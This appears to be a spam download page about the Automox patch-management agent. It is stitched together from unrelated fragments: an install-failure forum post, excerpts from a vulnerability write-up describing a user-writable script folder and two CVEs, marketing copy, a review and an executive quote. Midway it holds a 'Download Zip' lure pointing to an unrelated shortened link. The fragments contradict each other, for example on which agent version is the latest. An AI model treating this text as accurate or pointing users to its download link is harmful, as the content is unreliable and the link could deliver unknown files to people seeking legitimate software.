Download Automox Agent

If you have persisting Agent disconnect issues after our scheduled maintenance and upgrading your devices to the latest agent version 40, then please open a support ticket through our Customer Portal so our engineers can investigate.

They all seem to fail the post configuration. There's a 404 error when they reach out to the site to verify the compatibility/do the health check. The Trust Root Configuration is successful, they register successfully, the agent recovery options are successfully configured, and the agent service starts successfully. Plenty of free space on the system. Powershell 5.x is installed on the systems, they are running Windows 10 Pro 21H2 February update. When I login to the portal, I see no devices in there. Using the .msi installer downloaded from the portal.

Download Zip 🔥 https://tinurll.com/2y8423 🔥

With Sysmon installed and a Packet Capture using Wireshark in progress, I ran this command amagent.exe --checkcompat just like in the error message above. Here is what the output looked like --

Users of the Automox Agent should ensure they are running the latest, patched version of the software, version 31, available via the usual channels for updating provided by the vendor. All Automox agents prior to version 31 were affected by CVE-2021-26908 and CVE-2021-26909. Automox has removed all sensitive information from these agent logs and has masked and attached a time to live to these URLs to prevent an attacker from guessing them.

During agent polling, PowerShell scripts, logging, and related data are written to the C:\ProgramData\amagent\ directory. A unique subdirectory for each PowerShell script execution is created with a seemingly randomly generated 9-digit string of numbers for both the directory and script. The resulting folder and file contents are accessible to non-administrative users and can be modified at run-time.

Figure 1: Folder Access Validation

Monitoring this folder, we can validate that the server communicates with the agent and initiates regular data-collection and analytics from the remote host. However, for testing purposes, we can trigger this manually via the API.

I suspect that's because the agent runs as System. You'd have to find out who the currently logged in user is before you can message them, which would take some extra work to code up. I'll play around with that and see if I can get it to work.

With daily trend data collection enabled, you now have better visibility into the Automox active versus inactive question; this is especially useful for tracking endpoints that have gone offline for an extended period of time. The graph below shows us which devices are active (green) versus those that are inactive (blue). From the time we initiated User Acceptance Testing (UAT) in mid-February until we kicked off the Automox agent rollout on February 28, we were able to measure our installation progress.

In this instance we set the Automox agent inactivity threshold to a week, yet of all the active endpoints, which devices are actually receiving scheduled patches from Automox? We have a question for that!

Installation of the Automox agent involves a 30-second process and requires less than 10MB of space, according to the company. This agent sets a persistent encrypted session with the Automox cloud to monitor an organization's vulnerability level, provides an inventory of hardware, software, patches and configuration details and automatically patches vulnerabilities based on an organization's configured policies.

Automox is a single-agent solution that uses very few system resources and can work across thousands of devices. While on-premises solutions often require hardware at each location with constant versioning and maintenance, Automox enables the simple separation and management across environments with multi-tenancy capabilities within a single platform.

Automox cloud platform provides automation of your IT services workflow that manages OS, software updates, security settings, and custom scripts at local and remote endpoints. An Automox agent smaller than 16 MB is lightweight and can be deployed to Windows, macOS, or Linux endpoints.

What do you like best about the product?We patch around 200 Linux servers, and we find it really easy to set up a policy to patch our systems on a regular schedule. We also need to cycle services on those Linux servers occasionally, and Automox makes that process really easy. We love the agent for Automox because we don't have to have clients open any firewall rules.What do you dislike about the product?Not much! This covers all the basic needs we have for patching!What problems is the product solving and how is that benefiting you?manual labor to patch many servers!

Jason Kikta, CISO at Automox:"The new Unified Device Matrix interface makes it easy to find employee devices that may be missing endpoint agents or have known vulnerabilities and fill in the knowledge gaps to enrich our alerts. This adds to the overarching value that JupiterOne brings to our security program, reducing the time spent analyzing asset data and providing prescriptive details critical to closing security gaps quickly." 006ab0faaa